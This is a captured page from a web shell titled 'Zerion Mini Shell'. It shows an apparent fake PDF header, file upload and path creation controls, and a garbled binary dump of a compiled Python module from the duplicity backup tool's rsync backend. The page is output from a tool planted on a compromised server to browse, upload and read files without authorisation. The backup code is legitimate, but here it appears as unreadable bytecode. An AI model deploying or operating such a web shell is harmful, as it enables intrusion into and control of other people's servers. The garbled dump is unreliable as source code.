%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/duplicity/backends/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/duplicity/backends/__pycache__/rsyncbackend.cpython-312.pyc

�

�2e7���ddlZddlZddlZddlZddlmZmZmZddlm	Z	Gd�dejj�Zejjde�ejjjdg�y)�N)�config�tempdir�util)�InvalidBackendURLc�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�RsyncBackendz�Connect to remote store using rsync

    rsync backend contributed by Sebastian Wilhelmi <seppi@seppi.de>
    rsyncd auth, alternate port support
    Copyright 2010 by Edgar Soldin <edgar.soldin@web.de>
    c�B�tjjj||�	|j}d}dt
jvrt
jd=|j�r6|j�\}}|�d|jd���|_
|r�d|��}n�|r|�d�nd}|jjd�r&|�d|jjd���|_
n$|�|jjd���|_
|jrd	|j��}|jd
dk7r|xjdz
c_
|jrN|j�r|jt
jd<n |j�d|j��|_
d
|_|j!�}|r|t
jd<|j�r|}nd|�dt"j$�d�}t"j&}d|�d|��|_y)zrsyncBackend initializer��	RSYNC_RSHz::z/:z --port=�:z//�/z-p ����USER�@F�RSYNC_PASSWORDz-e 'ssh z -oBatchMode=yes �'zrsync � N)�	duplicity�backend�Backend�__init__�hostname�os�environ�over_rsyncd�get_rsync_path�lstrip�
url_string�path�
startswith�port�username�use_getpass�get_passwordr�ssh_options�
rsync_options�cmd)	�self�
parsed_url�hostr!r�host_string�password�
portOption�rsyncOptionss	         �A/usr/lib/python3/dist-packages/duplicity/backends/rsyncbackend.pyrzRsyncBackend.__init__,s������!�!�*�*�4��<�	��"�"�����"�*�*�$��
�
�;�'������.�.�0�L�T�4�!%��b����T�):�(;�<�D�O��!�$��(��(,�T�F�!�*�"�K����)�)�$�/�%0�M��:�?�?�3I�3I�#�3N�2O�"P���&1�M�*�/�/�2H�2H��2M�1N�"O�������Z�_�_�-�.���?�?�2��#�%��O�O�s�"�O�������!�%/�%8�%8��
�
�6�"�%/�%8�%8�$9��4�?�?�:K�"L��� ����$�$�&���+3�B�J�J�'�(������J�#�D�6�):�6�;M�;M�:N�a�P�J��+�+���J�<�q���7���c�^�|jj}tjd|�ryy)Nz::[^:]*$TF)r)r�re�search)r(�urls  r/rzRsyncBackend.over_rsyncdcs%���o�o�(�(��
�9�9�Z��%��r0c��|jj}tjd|�}|r1|j	d�|j	d�jd�fSt
d|j|�����)Nz(:\d+|)?::([^:]*)$��rz Could not determine rsync path: )r)rr2r3�grouprr�munge_password)r(r4�ms   r/rzRsyncBackend.get_rsync_pathjsk���o�o�(�(���I�I�+�S�1����7�7�1�:�q�w�w�q�z�0�0��5�5�5��"B�4�CV�CV�WZ�C[�B\� ]�^�^r0c���tj|�}tjj|j|�}|j
�d|j�d|��}|j|�y�Nr�r�fsdecoder�joinrr'�uc_name�subprocess_popen)r(�source_path�remote_filename�remote_path�commandlines     r/�_putzRsyncBackend._putqsW���+�+�o�6���g�g�l�l�4�?�?�O�D�����
�!�K�$7�$7�#8��+��G�����k�*r0c���tj|�}tjj|j|�}|j
�d|�d|j��}|j|�yr<r=)r(rC�
local_pathrDrEs     r/�_getzRsyncBackend._getwsW���+�+�o�6���g�g�l�l�4�?�?�O�D�����
�!�K�=��*�2D�2D�1E�F�����k�*r0c���d�}|j�d|j��}|j|�\}}}t||j	d��D�cgc]}|s�tj|���c}Scc}w)Nc�Z�|j�}t|�dkDr
|ddk7r|dSy)N��.)�split�len)�str�lines  r/rNz!RsyncBackend._list.<locals>.split~s.���9�9�;�D��4�y�1�}��a��C���A�w��r0r�
)r'rrA�maprNr�fsencode)r(rNrE�result�stdout�stderr�xs       r/�_listzRsyncBackend._list}sg��	����
�!�D�O�O�#4�5��!%�!6�!6�{�!C�����(+�E�6�<�<��3E�(F�L�1�!����A��L�L��Ls�A3�A3c�H�|}g}|j�D])}||vr|j|��|j|��+tj�}tj�j�\}}|g}|D]r}tj|�}tjj||�}	|j|	�	t|	d�}
t||��|
j��t|j�|j �d|�d|�d|j"��}|j%|�|D]'}	t'j(tj*|��)tj,|�y#t$rt||��Y��wxYw#t$rY�hwxYw)N�w)�filez% --recursive --delete --exclude-from=rz/ )rY�remove�append�tempfile�mkdtempr�default�mkstemp_filerr>rr?�open�IsADirectoryError�print�closer'rrAr�ignore_missing�unlink�rmdir)r(�
filename_list�delete_list�dont_delete_listr\�dir�exclude�exclude_name�	to_deleter�frEs            r/�_delete_listzRsyncBackend._delete_list�s���#�����J�J�L�	.�D��{�"��"�"�4�(� �'�'��-�		.���� �� '��� 1� >� >� @����!�N�	�$�
	�D��;�;�t�$�D��7�7�<�<��T�*�D����T�"�
���s�O��
�$�W�%�
�G�G�I�
	�	�
�
�����
�"G��~�UV�WZ�V[�[]�^b�^m�^m�]n�o�����k�*��	�D�
��#�#�B�I�I�t�4�	�
	����
��%�
��d��)��
��%�
��
�s$�	E8�<$F�8F�F�	F!� F!N)�__name__�
__module__�__qualname__�__doc__rrrrFrIrYrr�r0r/rr$s-���58�n�_�+�+�
M�r0r�rsync)rr2r_�duplicity.backendrrrr�duplicity.errorsrrrr�register_backend�uses_netloc�extendrwr0r/�<module>r~sq��.
�	�����
/�D�9�$�$�,�,�D�N
���"�"�7�L�9�	�����$�$�g�Y�/r0

Zerion Mini Shell 1.0